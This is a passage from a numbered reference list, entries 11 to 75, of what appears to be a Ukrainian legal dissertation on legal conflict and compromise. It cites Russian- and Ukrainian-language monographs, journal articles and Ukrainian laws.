11. Атоян О.Н. В конфликте с государством. Крестьянское правосо­знание в Украине 1917-1919 годов: Монография / О,Н. Атоян; МВД Украины; [Отв.ред. Б.Г. Розовский]. Луганск: РИО ЛАВД, 2003. 512 с.
12. Афанасьєв К.К. Адміністративні договори: реалії та перспективи: Монографія / МВС України, Луган. акад. внутр. справ ім. 10-річчя незалежності України; [Наук. ред. канд. юрид. наук, проф. Ю.П. Битяк]. Луганськ: РВВ ЛАВС, 2004. 320 с.
13. Бабаев В.К. Теория советского права в конспектах лекций и схемах: Учебное пособие. Горький, 1990. 149 с.
14. Берковиц Л. Агрессия: причины, последствия и контроль. СПб.: прайм ЕВРОЗНАК, 2001. 512 с.;
15. Бехтерев В.М. Мозг и его деятельность / Посмертн. изд. под ред. проф. А.В. Гравера. М.; Л.: Госиздат, 1928. 327 с.
16. Бобровник А.В. Правовий конфлікт та юридичні колізії: взаємодія та взаємозалежність // Часопис Київського університету права. 2004. - № 4. С. 3 9.
17. Бобровник А.В. Способи вирішення юридичного конфлікту // Часопис Київського університету права. 2004. - № 3. С. 7 12.
18. Большаков А.Г., Несмелова М.Ю. Конфликтология организаций: Учеб. пособие.- М.: МВ Пресс, 2001. 182 с.
19. Большой юридический словарь / Под ред. А.Я. Сухарева, В.Д. Зорькина, В.Е. Крутских. М.: ИНФРА-М, 1997. VI, 790 с. (Библиотека словарей «ИНФРА-М»).
20. Ващенко І.В. Конфлікти: сучасний стан, проблеми та напрямки їх вирішення в органах внутрішніх справ / Національний ун-т внутрішніх справ. Х.: ОВС, 2002. 255 с.
21. Введение в теорию государственно-правовой организации социальных систем / Под общей редакцией Е.Б. Кубко. К.: Юринком, 1997. 192 с.
22. Введение в философию права. Кризис современного правосознания. Серия «Мир культуры, истории и философии». СПБ.: Издательство «Лань», Санкт-Петербургский университет МВД России, 2000. 352 с.
23. Венгеров А.Б. Теория государства и права: Учебник для юридических вузов.- М.: Новый Юрист, 1998. 624 с.
24. Вернадский Г.В. История права. Серия «Мир культуры, истории и философии». СПБ.: Издательство «Лань», Санкт-Петербургский университет МВД России, 1999. 176 с.
25. Влад С. Компроміси обходяться найдорожче //Голос України. 2005. 10 березня.
26. Гаджиев К.С. Политическая наука: Учебное пособие. 2-е изд. М.: Междунар. отношения, 1996. 400 с.
27. Галунько В.В. Адміністративно-правова охорона суб’єктів права власності в Україні: Монографія. Херсон: ВАТ ХНД, 2006. 356 с.
28. Ганзенко О.О. Засоби державного інструментального примусу в контексті інструментальної теорії права // Вісник Запорізького юридичного інституту. 2004. - № 2. С.18-23.
29. Герберт А. Саймон Адміністративна поведінка: Дослідження процесів прийняття рішень в організаціях, що виконують адміністративні функції: Пер. з англ. вид. Вид. переробл. і допов. числен. заув. авт. К.: АртЕк, 2001. 392 с.
30. Гіда Є.О. Юридичний механізм реалізації прав людини // Вісник Луганської академії внутрішні справ МВС імені 10-річчя незалежності України. 2005. - № 1. С. 35-42.
31. Глущенко В.В. Теория государства и права: системно-управленческий подход. Г. Железнодорожный, Моск. обл.: ООО НПЦ «Крылья», 2000. 416 с.
32. Гоббс Т. Избранные произведения в 2-х томах. М., «Мысль», 1965. Философское наследие. Т. 2. 748 с.
33. Головко Л.В. Альтернативы уголовному преследованию в современном праве. СПб.: Издательство «Юридический центр Пресс», 2002. 544 с.
34. Господарський кодекс України: Офіц. текст: Прийнятий Верхов. Радою України 16 січ. 2003 р. К.: Концерн Видавничий Дім Ін Юре”, 2003. 204 с.
35. Готін О. Стимулювання пост кримінальної поведінки перспективний напрям кримінально-правової політики України // Право України. 2005. - № 9. С. 77-80.
36. Гришина Н.В. Психология конфликта. СПб.: Питер, 2001. 464 с.
37. Гусарєв С.Д., Олійник А.Ю., Слюсаренко О.Л. Основи загальної теорії держави і права (терміни, визначення, елементи змісту). К.: НАВСУ, 1998. 237 с.
38. Гуторова Н.О. Виникнення правовідносин як стадія механізму правового регулювання і кримінально-правової охорони державних фінансів України // Держава і право: Збірник наукових праць. Юридичні і політичні науки. Випуск 19. К.: Ін-т держави і права ім. В.М. Корецького НАН України, 2003. - с. 417-422
39. Давид Р., Жоффре-Спинози К. Основные правовые системы совеременности: Пер. с. фр. В.А. Туманова. М.: Междунар. отношения, 1999. 400 с.
40. Джарол Б. Мангейм, Ричард К. Рич. Политология. Методы исследования: Пер. с англ./Общ. ред. и вступ. ст. А.К. Соколова. М.: Издательство «Весь Мир», 1999. 544 с.
41. Добронравова О. Податковий компроміс це коли податківець встановлює його умови, а підприємець погоджується (http//: www.contract.com.ua.)
42. Додуров О. Кримінально-правовий компроміс у сфері оподаткування: зарубіжний досвід // Право України. 2005. - № 3. С. 139-143.
43. Жалинский А., Рёрихт А. Введение в немецкое право. М.: Спарк, 2001. 767 с.
44. Житний О.О. Звільнення від кримінальної відповідальності у зв’язку з дійовим каяттям: Автореф. дис. канд. юрид. наук: 12.00.08 / Національний ун-т внутрішніх справ. Х., 2003. 20 с.
45. Житний О.О. Звільнення від кримінальної відповідальності у зв’язку з дійовим каяттям: Монографія. Харків: Вид-во Нац. ун-ту внутр. справ, 2004. 152 с.
46. Загальна теорія держави і права / За ред. В.В. Копєйчикова. К.: Юрінком Інтер, 1998. 320 с.
47. Загальна теорія держави і права: [Підручник для студентів юридичних спеціальностей вищих навчальних закладів]/ За ред. М.В. Цвіка, В.Д. Ткаченка, О.В. Петришина. Харків: Право, 2002. 432 с.
48. Зайчук О., Оніщенко Н. Правові системи сучасності та тенденції їх розвитку // Право України. 2002. - № 11. С. 23-26.
49. Закон України "Про порядок погашення зобов'язань платників податків перед бюджетами та державними цільовими фондами" N 2181-III від 21 грудня 2000 року //http//: www.rada.gov.ua.
50. Закон України Про альтернативну (невійськову) службу” № 1975-ХІІ від 12.12.1991 // Відомості Верховної Ради. 1992. N 15. Ст. 188.
51. Закон України Про внесення змін до Конституції України” // Голос України. № 233 (3483). 08.12.2004
52. Закон України Про громадянство України” від 18.01.2001 р. // ВВР. 2001. № 13. Ст. 65.
53. Закон України Про міліцію” від 20.12.1991 р. // ВВР. 1991. 4. 20.
54. Закон України «Про вищу освіту». Науково-практичний коментар. За загальною редакцією Кременя В.Г.. К., 2002. 323 с.
55. Закон України «Про звернення громадян» № 393/96-ВР від 2 жовтня 1996 року // ВВР. 1996. - № 47. Ст. 256.
56. Закон України «Про оперативно-розшукову діяльність» № 2135-ХІІ від 18 лютого 1992 року // ВВР. 1992. - № 22. Ст. 303.
57. Закон України «Про організаційно-правові основи боротьби з організованою злочинністю» № 3341-ХІІ від 30 червня 1993 року // ВВР. 1993. - № 35. Ст. 358.
58. Закон України «Про попередження насильства в сім’ї» № 2789-ІІІ від 15 листопада 2001 року // ВВР. 2002. - № 10. Ст. 70.
59. Законодавство України про адміністративну відповідальність фізичних осіб (з алфавітно-предметним покажчиком). Упорядник Хавронюк М.І. К.: Атіка, 2002. 288 с.
60. Законодавство України про освіту. Збірник законів. К.: Парламентське вид-во, 2002. 159 с. (Б-ка офіційних видань).
61. Збірник постанов Пленуму Верховного Суду України у кримінальних справах: 1973-2005 р.р. Х.: Одиссей”, 2006. 528 с.
62. Земельний кодекс України. Х.: ТОВ Одіссей”, 2001. 112 с.
63. История политических и правовых учений. Учебник для вузов. Изд. 2-е, стереотип. Под общ. ред. члена-корреспондента РАН, доктора юридических наук, профессора В.С. Нерсесянца. М.: Издательская группа НОРМА-ИНФРА-М, 1998. 736 с.
64. Івченко А.О. Тлумачний словник української мови / Худож. Оформлювач С.А. Пятковка. Харків: Фоліо, 2001. 540 с. (Б-ка державної мови).
65. Ішмуратов А.Т. Конфлікт і згода. Основи когнітивної теорії конфліктів. К.: Вид-во Наукова думка, 1996. 190 с.
66. Кананыкина Е.С. Философские традиции анализа источников (форм) права // Право и политика. С. 11-22.
67. Карл Поппер Відкрите суспільство та його вороги. Том 1./ перекл. З англ.. О. Коваленко. К.: Основи, 1994. 444 с.
68. Кашанина Т.В. Корпоративное право (Право хозяйственных товариществ и обществ). Учебник для вузов. М.: Издательская группа НОРМА-ИНФРА-М, 1999. 815 с.
69. Кельман Л.М. Правозастосування як складова частина механізму правового регулювання // Держава і право: Збірник наукових праць. Юридичні і політичні науки. Випуск 26. К.: Ін-т держави і права ім. В.М. Корецького НАН України, 2004. С. 42-47.
70. Кельман М.С., Мурашин О.Г., Хома Н.Л. Загальна теорія держави та права: підручник. Львів: Новий світ”, 2003. 584 с.
71. Керимов Д.А. Методология права (предмет, функции, проблемы философии права). / 2-е изд. М.: Аванта+, 2001. 560 с.
72. Кикоть Г. Юридичні факти у механізмі правового регулювання: проблеми теорії // Право України. 2005. - № 7. С. 109-112.
73. Кім Н.Р. Автономний індивід як ідеальний суб’єкт права на вільний розвиток особистості // Вісник Луганської академії внутрішні справ МВС імені 10-річчя незалежності України. 2005. - № 1. С. 147-154.
74. Клименко Я. Добровільне відшкодування шкоди особам, постраждалим від злочину // Право України. 2002. - № 3. С. 82-85.
75. Книженко О.О. Звільнення від відбуття покарання з випробуванням за кримінальним правом України: Автореф. дис. канд. юрид. н